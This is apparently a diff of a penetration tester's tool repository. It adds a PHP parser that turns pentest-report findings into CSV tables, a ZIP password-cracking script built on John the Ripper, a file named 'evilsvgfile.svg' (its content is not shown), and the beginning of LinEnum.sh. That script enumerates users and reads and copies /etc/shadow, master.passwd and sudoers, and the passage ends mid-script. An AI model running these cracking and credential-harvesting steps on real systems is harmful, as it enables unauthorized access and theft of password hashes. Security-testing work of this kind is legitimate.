($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': + $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/crack_zip.sh b/crack_zip.sh new file mode 100755 index 0000000..bc6de1a --- /dev/null +++ b/crack_zip.sh @@ -0,0 +1,18 @@ +#!/bin/bash +echo "ZIP-JTR Decrypt Script"; +if [ $# -ne 2 ] +then +echo "Usage $0 "; +exit; +fi +unzip -l $1 +for i in $(john --wordlist=$2 --rules --stdout) +do + echo -ne "\rtrying \"$i\" " + unzip -o -P $i $1 >/dev/null 2>&1 + STATUS=$? + if [ $STATUS -eq 0 ]; then + echo -e "\nArchive password is: \"$i\"" + break + fi +done diff --git a/evilsvgfile.svg b/evilsvgfile.svg new file mode 100755 index 0000000..07d08f0 --- /dev/null +++ b/evilsvgfile.svg @@ -0,0 +1,9 @@ + + + + + + + \ No newline at end of file diff --git a/privesc/LinEnum.sh b/privesc/LinEnum.sh new file mode 100755 index 0000000..fe8d7a2 --- /dev/null +++ b/privesc/LinEnum.sh @@ -0,0 +1,1208 @@ +#!/bin/bash +#A script to enumerate local information from a Linux host +v="version 0.5 (experimental)" +#@oshearing + +#help function +usage () +{ +echo -e "\n\e[00;31m#########################################################\e[00m" +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" +echo -e "\e[00;31m#########################################################\e[00m" +echo -e "\e[00;33m# www.rebootuser.com\e[00m" +echo -e "\e[00;33m# $v\e[00m\n" +echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" + + echo "OPTIONS:" + echo "-k Enter keyword" + echo "-e Enter export location" + echo "-t Include thorough (lengthy) tests" + echo "-r Enter report name" + echo "-h Displays this help text" + echo -e "\n" + echo "Running with no options = limited scans/no output file" + +echo -e "\e[00;31m#########################################################\e[00m" +} +while getopts "h:k:r:e:t" option; do + case "${option}" in + k) keyword=${OPTARG};; + r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; + e) export=${OPTARG};; + t) thorough=1;; + h) usage; exit;; + *) usage; exit;; + esac +done + +echo -e "\n\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null + +echo "Debug Info" |tee -a $report 2>/dev/null + +if [ "$keyword" ]; then + echo "keyword = $keyword" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$report" ]; then + echo "report name = $report" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ]; then + echo "export location = $export" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$thorough" ]; then + echo "thorough tests = enabled" |tee -a $report 2>/dev/null +else + echo "thorough tests = disabled" |tee -a $report 2>/dev/null +fi + +sleep 2 + +if [ "$export" ]; then + mkdir $export 2>/dev/null + format=$export/LinEnum-export-`date +"%d-%m-%y_%H:%M"` + mkdir $format 2>/dev/null +else + : +fi + +who=`whoami` |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null +echo -e "\e[00m\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null + +#basic kernel info +unameinfo=`uname -a 2>/dev/null` +if [ "$unameinfo" ]; then + echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +procver=`cat /proc/version 2>/dev/null` +if [ "$procver" ]; then + echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#search all *-release files for version info +release=`cat /etc/*-release 2>/dev/null` +if [ "$release" ]; then + echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#target hostname info +hostnamed=`hostname 2>/dev/null` +if [ "$hostnamed" ]; then + echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null + +#current user details +currusr=`id 2>/dev/null` +if [ "$currusr" ]; then + echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#last logged on user information +lastlogedonusrs=`lastlog |grep -v "Never" 2>/dev/null` +if [ "$lastlogedonusrs" ]; then + echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#strips out username uid and gid values from /etc/passwd +usrsinfo=`cat /etc/passwd | cut -d ":" -f 1,2,3,4 2>/dev/null` +if [ "$usrsinfo" ]; then + echo -e "\e[00;31mAll users and uid/gid info:\e[00m\n$usrsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists all id's and respective group(s) +grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` +if [ "$grpinfo" ]; then + echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) +hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` +if [ "$hashesinpasswd" ]; then + echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#locate custom user accounts with some 'known default' uids +readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` +if [ "$readpasswd" ]; then + echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/passwd $format/etc-export/passwd 2>/dev/null +else + : +fi + +#checks to see if the shadow file can be read +readshadow=`cat /etc/shadow 2>/dev/null` +if [ "$readshadow" ]; then + echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readshadow" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/shadow $format/etc-export/shadow 2>/dev/null +else + : +fi + +#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant +readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` +if [ "$readmasterpasswd" ]; then + echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmasterpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null +else + : +fi + +#all root accounts (uid 0) +echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#pull out vital sudoers info +sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$'|grep -v "#"` +if [ "$sudoers" ]; then + echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$sudoers" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null +else + : +fi + +#can we sudo without supplying a password 